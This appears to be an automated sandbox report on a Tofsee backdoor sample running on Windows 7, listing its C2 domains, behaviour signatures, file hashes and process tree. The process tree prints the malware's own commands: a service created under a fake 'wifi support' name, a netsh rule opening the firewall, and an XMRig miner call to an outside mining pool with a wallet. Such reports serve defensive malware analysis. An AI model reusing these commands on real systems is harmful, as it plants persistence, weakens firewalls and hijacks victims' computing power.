Analysis

  • max time kernel
    142s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    19/12/2022, 17:22

General

  • Target
    file.exe
  • Size 302KB
  • Sample221219-vxjsfsfe65
  • SHA256 e6d47e67d8e304e3ca4aa4fca5f14c1e93a8b07c15236f1b14f82a719e692628
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:740
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wctxtlqn\
      2⤵
        PID:936
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\aqjhenut.exe" C:\Windows\SysWOW64\wctxtlqn\
        2⤵
          PID:1972
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wctxtlqn binPath= "C:\Windows\SysWOW64\wctxtlqn\aqjhenut.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1308
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wctxtlqn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1744
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wctxtlqn
          2⤵
          • Launches sc.exe
          PID:1364
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1784
      • C:\Windows\SysWOW64\wctxtlqn\aqjhenut.exe
        C:\Windows\SysWOW64\wctxtlqn\aqjhenut.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1604
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1016
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1728

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            aqjhenut.exe

            • Path C:\Users\Admin\AppData\Local\Temp\aqjhenut.exe
            • Size 12.0MB
            • SHA256 25ebec4706fd712371b0dbf913cef8654a3913978ea83f53747dcafdebe07b82
            • MD5 SHA1 SHA512 SSDEEP

            aqjhenut.exe

            • Path C:\Windows\SysWOW64\wctxtlqn\aqjhenut.exe
            • Size 12.0MB
            • SHA256 25ebec4706fd712371b0dbf913cef8654a3913978ea83f53747dcafdebe07b82
            • MD5 SHA1 SHA512 SSDEEP

            memory/740-57-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/740-58-0x0000000000400000-0x0000000000450000-memory.dmp

            memory/740-56-0x00000000004FC000-0x0000000000511000-memory.dmp

            memory/740-54-0x0000000075A81000-0x0000000075A83000-memory.dmp

            memory/740-67-0x0000000000400000-0x0000000000450000-memory.dmp

            memory/740-66-0x00000000004FC000-0x0000000000511000-memory.dmp

            memory/1016-83-0x0000000000120000-0x0000000000126000-memory.dmp

            memory/1016-80-0x00000000017D0000-0x00000000019DF000-memory.dmp

            memory/1016-98-0x0000000000100000-0x0000000000115000-memory.dmp

            memory/1016-95-0x00000000002F0000-0x00000000002F7000-memory.dmp

            memory/1016-92-0x00000000053B0000-0x00000000057BB000-memory.dmp

            memory/1016-72-0x0000000000100000-0x0000000000115000-memory.dmp

            memory/1016-70-0x0000000000100000-0x0000000000115000-memory.dmp

            memory/1016-89-0x00000000001C0000-0x00000000001C5000-memory.dmp

            memory/1016-86-0x0000000000130000-0x0000000000140000-memory.dmp

            memory/1016-79-0x0000000000100000-0x0000000000115000-memory.dmp

            memory/1604-77-0x0000000000400000-0x0000000000450000-memory.dmp

            memory/1604-76-0x000000000052C000-0x0000000000541000-memory.dmp

            memory/1728-99-0x00000000001B0000-0x00000000002A1000-memory.dmp

            memory/1728-101-0x00000000001B0000-0x00000000002A1000-memory.dmp